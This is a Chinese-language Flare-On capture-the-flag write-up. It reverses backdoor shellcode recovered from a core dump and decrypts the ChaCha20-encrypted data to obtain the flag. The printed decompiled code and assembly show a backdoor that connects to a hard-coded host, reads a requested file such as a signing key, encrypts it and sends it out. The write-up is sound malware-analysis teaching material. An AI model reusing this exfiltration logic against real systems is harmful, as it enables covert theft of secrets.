dump binary memory output.bin 0x7ffff7ffa000 0x7ffff7ffaf90

dump完後加上elf的header

1
2
3
4
5
section .text
global _start

_start:
incbin "shellcode.bin"

把他包成elf後就可以用IDA分析了

1
2
nasm -f elf64 -o shellcode.o shellcode.asm
ld -o shellcode.elf shellcode.o

這邊是main function的部分,他會開個一socket,之後去call client的chacha20(這裡我逆過了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
__int64 __fastcall MAIN()
{
unsigned int websocket_HANDLER; // ebx
signed __int64 v1; // rax
signed __int64 v2; // rax
signed __int64 v3; // rax
signed __int64 v4; // rax
signed __int64 v5; // rax
signed __int64 v6; // rax
unsigned __int64 v7; // kr08_8
signed __int64 v8; // rax
signed __int64 v9; // rax
char ubuf[32]; // [rsp+410h] [rbp-1278h] BYREF
char v12[16]; // [rsp+430h] [rbp-1258h] BYREF
char filename[256]; // [rsp+440h] [rbp-1248h] BYREF
char buf[4224]; // [rsp+540h] [rbp-1148h] BYREF
unsigned int size; // [rsp+15C0h] [rbp-C8h] BYREF
unsigned int size_4; // [rsp+15C4h] [rbp-C4h] BYREF

websocket_HANDLER = WEBsocket_CONNECT();
v1 = sys_recvfrom(websocket_HANDLER, ubuf, 0x20uLL, 0, 0LL, 0LL);
v2 = sys_recvfrom(websocket_HANDLER, v12, 0xCuLL, 0, 0LL, 0LL);
v3 = sys_recvfrom(websocket_HANDLER, &size, 4uLL, 0, 0LL, 0LL);
v4 = sys_recvfrom(websocket_HANDLER, filename, size, 0, 0LL, 0LL);
filename[(int)v4] = 0;
v5 = sys_open(filename, 0, 0);
v6 = sys_read(v5, buf, 0x80uLL);
v7 = strlen(buf) + 1;
size_4 = v7 - 1;
client_chacha20((__int64)&buf[v7], (__int64)buf, ubuf, v12, 0LL);
sub_401D49((__int64)&buf[v7], (__int64)buf, (__int64)buf, size_4);
v8 = sys_sendto(websocket_HANDLER, &size_4, 4uLL, 0, 0LL, 0);
v9 = sys_sendto(websocket_HANDLER, buf, size_4, 0, 0LL, 0);
websocket_close();
websocket_shutdown(websocket_HANDLER, (__int64)buf, 0);
return 0LL;
}

這裡追進去後他把key跟nonce傳進去了ENC_CHACHA_F

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__int64 __fastcall client_chacha20(__int64 a1, __int64 a2, const void *key, const void *nonce, __int64 a5)
{
_DWORD *v5; // rax
_DWORD *v6; // rbx
__int64 result; // rax

v6 = v5;
memset(v5, 0, 0xC0uLL);
ENC_CHACHA_F((__int64)(v5 + 48), a5, key, nonce);
v6[44] = a5;
result = HIDWORD(a5) + (unsigned int)sub_401F20(v6 + 45);
v6[45] = result;
*((_QWORD *)v6 + 15) = a5;
*((_QWORD *)v6 + 8) = 64LL;
return result;
}

這裡有像是chacha20的key(0x20)跟nonce(0xC)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
_DWORD *__fastcall ENC_CHACHA_F(__int64 a1, __int64 a2, const void *key, const void *nonce)
{
_DWORD *v4; // rax
_DWORD *v5; // rbx
_DWORD *result; // rax

v5 = v4;
qmemcpy(v4 + 18, key, 0x20uLL);
qmemcpy(v4 + 26, nonce, 0xCuLL);
v4[32] = sub_401F20(v4 + 32);
v5[33] = sub_401F20(v5 + 33);
v5[34] = sub_401F20(v5 + 34);
v5[35] = sub_401F20(v5 + 35);
v5[36] = sub_401F20(v5 + 35);
v5[37] = sub_401F20(v5 + 35);
v5[38] = sub_401F20(v5 + 35);
v5[39] = sub_401F20(v5 + 35);
v5[40] = sub_401F20(v5 + 35);
v5[41] = sub_401F20(v5 + 35);
v5[42] = sub_401F20(v5 + 35);
v5[43] = sub_401F20(v5 + 35);
v5[44] = 0;
v5[45] = sub_401F20(v5 + 35);
v5[46] = sub_401F20(v5 + 35);
v5[47] = sub_401F20(v5 + 35);
result = v5 + 26;
qmemcpy(v5 + 26, nonce, 0xCuLL);
return result;
}

往上追可以找到offset,但是當你嘗試回去抓rbp或rsp offset會發現爛掉了,原因是這裡的rsp rbp已經經過了很多東西,是call rax crash掉時的rsp rbp,所以要回推當時情況
這邊先知道兩個概念

  1. call function後rsp rbp變化
    原本都指在同一個位置

    1
    2
    *RBP  0x7fffffffdc60 ◂— 1
    *RSP 0x7fffffffdc60 ◂— 1

    當我們call function時,進到function會rsp-0x8(原因是stack儲存了返回位置,所以rsp會下推)

    1
    2
    *RBP  0x7fffffffdc60 ◂— 1
    *RSP 0x7fffffffdc58 —▸ 0x5555555551f5 (main+18) ◂— mov eax, 0
  2. push 後 rsp rbp 變化
    像是
    push rbppush rax等操作後
    rsp會-0x8

那就開始回推吧

這裡首先先call r8 進到backdoor
之後執行完shellcode後跳出
一路往下執行直到碰到call rax
這時候的rax已經call下去了,所以rsp已經被減掉0x8了

再來回頭看
call 進來 rsp(-0x8)

1
2
3
4
5
public _start
_start proc near
push rbp
mov rbp, rsp
call MAIN

這裡的rsp 是 coredump中rsp + 0x8
push rbp
RSP = rsp - 0x8
rbp變成RSP (rsp - 0x8 + 0x8)
他去call MAIN (rsp-0x8)
這裡先 push 五次 (rsp-0x8 * 5)
rsp再給一次給rbp

有點亂,總之:
現在要減掉2次0x8(call)跟減掉6次0x8(push)並加回1次0x8(call rax回推)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
; __int64 __fastcall MAIN()
MAIN proc near

ubuf= byte ptr -1278h
var_1258= byte ptr -1258h
filename= byte ptr -1248h
buf= byte ptr -1148h
size= qword ptr -0C8h
var_C0= byte ptr -0C0h

push rbx
push rsi
push rdi
push r12
push rbp
mov rbp, rsp
lea rsp, [rsp-1688h]
mov eax, 0A00020Fh
mov dx, 539h
call WEBsocket_CONNECT
mov ebx, eax
lea rsi, [rbp+ubuf] ; ubuf
push 2Dh ; '-'
pop rax
mov edi, ebx ; fd
push 20h ; ' '
pop rdx ; size
xor r10d, r10d ; flags
xor r8d, r8d ; addr
xor r9d, r9d ; addr_len
syscall ; LINUX - sys_recvfrom
lea rsi, [rbp+var_1258] ; ubuf

之後把東西放到stack
所以可以知道
我們要的 rbp(IDA上放到stack的rbp + 0x…) 就會是
rbp = rsp(coredump) + 0x8 - 0x8 * 8
就會是確切的nonce、key等位置了

從coredump中rsp位置是 0x7ffcc6601e98 去算
0x7ffcc6601e98 - 0x38 = 0x7ffcc6601e60(rbp)

item address IDA
key 0x7ffcc6601e60 - 0x1278 char ubuf[32]; // [rsp+410h] [rbp-1278h] BYREF
nonce 0x7ffcc6601e60 - 0x1258 char v12[16]; // [rsp+430h] [rbp-1258h] BYREF
filename 0x7ffcc6601e60 - 0x1248 char filename[256]; // [rsp+440h] [rbp-1248h] BYREF
encrypt Flag 0x7ffcc6601e60 - 0x1148 char buf[4224]; // [rsp+540h] [rbp-1148h] BYREF

抓出來

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
KEY: 
pwndbg> x/32xb 0x7ffcc6600be8
0x7ffcc6600be8: 0x8d 0xec 0x91 0x12 0xeb 0x76 0x0e 0xda
0x7ffcc6600bf0: 0x7c 0x7d 0x87 0xa4 0x43 0x27 0x1c 0x35
0x7ffcc6600bf8: 0xd9 0xe0 0xcb 0x87 0x89 0x93 0xb4 0xd9
0x7ffcc6600c00: 0x04 0xae 0xf9 0x34 0xfa 0x21 0x66 0xd7

nonce:
pwndbg> x/12xb 0x7ffcc6601e60 - 0x1258
0x7ffcc6600c08: 0x11 0x11 0x11 0x11 0x11 0x11 0x11 0x11
0x7ffcc6600c10: 0x11 0x11 0x11 0x11

filename:
pwndbg> x/1s 0x7ffcc6601e60 - 0x1248
0x7ffcc6600c18: "/root/certificate_authority_signing_key.txt"

encrypt FLAG:
pwndbg> x/100xb 0x7ffcc6601e60 - 0x1148
0x7ffcc6600d18: 0xa9 0xf6 0x34 0x08 0x42 0x2a 0x9e 0x1c
0x7ffcc6600d20: 0x0c 0x03 0xa8 0x08 0x94 0x70 0xbb 0x8d
0x7ffcc6600d28: 0xaa 0xdc 0x6d 0x7b 0x24 0xff 0x7f 0x24
0x7ffcc6600d30: 0x7c 0xda 0x83 0x9e 0x92 0xf7 0x07 0x1d
0x7ffcc6600d38: 0x02 0x63 0x90 0x2e 0xc1 0x58 0x00 0x00
0x7ffcc6600d40: 0xd0 0xb4 0x58 0x6d 0xb4 0x55 0x00 0x00
0x7ffcc6600d48: 0x20 0xea 0x78 0x19 0x4a 0x7f 0x00 0x00
0x7ffcc6600d50: 0xd0 0xb4 0x58 0x6d 0xb4 0x55 0x00 0x00
0x7ffcc6600d58: 0x30 0xd1 0x77 0x19 0x4a 0x7f 0x00 0x00
0x7ffcc6600d60: 0xf0 0xcb 0x77 0x19 0x4a 0x7f 0x00 0x00
0x7ffcc6600d68: 0xe0 0x2a 0x01 0x19 0x4a 0x7f 0x00 0x00
0x7ffcc6600d70: 0x00 0x20 0x01 0x19 0x4a 0x7f 0x00 0x00
0x7ffcc6600d78: 0xd0 0x0a 0x7b 0x19

最後就是寫腳本解密了,但是網路上chacha20的腳本都沒啥用
認真看了一下他跟原本的chacha20有所不同(其實就是他的constant的k變成K),所以自己根據逆向出來的東西手刻

chacha20實作參考這個
https://github.com/marcizhu/ChaCha20/

改這個庫裡面的 #define CHACHA20_CONSTANT "expand 32-byte K"

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#define CHACHA20_IMPLEMENTATION
#include "ChaCha20.h"
#include <stdio.h>
#include <stddef.h>
#include <stdint.h>

int main()
{
static key256_t key = {0x8d, 0xec, 0x91, 0x12, 0xeb, 0x76, 0x0e, 0xda,
0x7c, 0x7d, 0x87, 0xa4, 0x43, 0x27, 0x1c, 0x35,
0xd9, 0xe0, 0xcb, 0x87, 0x89, 0x93, 0xb4, 0xd9,
0x04, 0xae, 0xf9, 0x34, 0xfa, 0x21, 0x66, 0xd7};

static nonce96_t nonce = {0x11, 0x11, 0x11, 0x11, 0x11, 0x11,
0x11, 0x11, 0x11, 0x11, 0x11, 0x11};

uint32_t count = 0;

static uint8_t data[] = {0xa9, 0xf6, 0x34, 0x08, 0x42, 0x2a, 0x9e, 0x1c,
0x0c, 0x03, 0xa8, 0x08, 0x94, 0x70, 0xbb, 0x8d,
0xaa, 0xdc, 0x6d, 0x7b, 0x24, 0xff, 0x7f, 0x24,
0x7c, 0xda, 0x83, 0x9e, 0x92, 0xf7, 0x07, 0x1d};

ChaCha20_Ctx ctx;
ChaCha20_init(&ctx, key, nonce, count);
ChaCha20_xor(&ctx, data, sizeof(data));
for (size_t i = 0; i < sizeof data; i++) {
printf("%c",data[i]);
}

// The array 'data' is now encrypted (or decrypted if it
// was already encrypted)
}

flag: supp1y_cha1n_sund4y@flare-on.com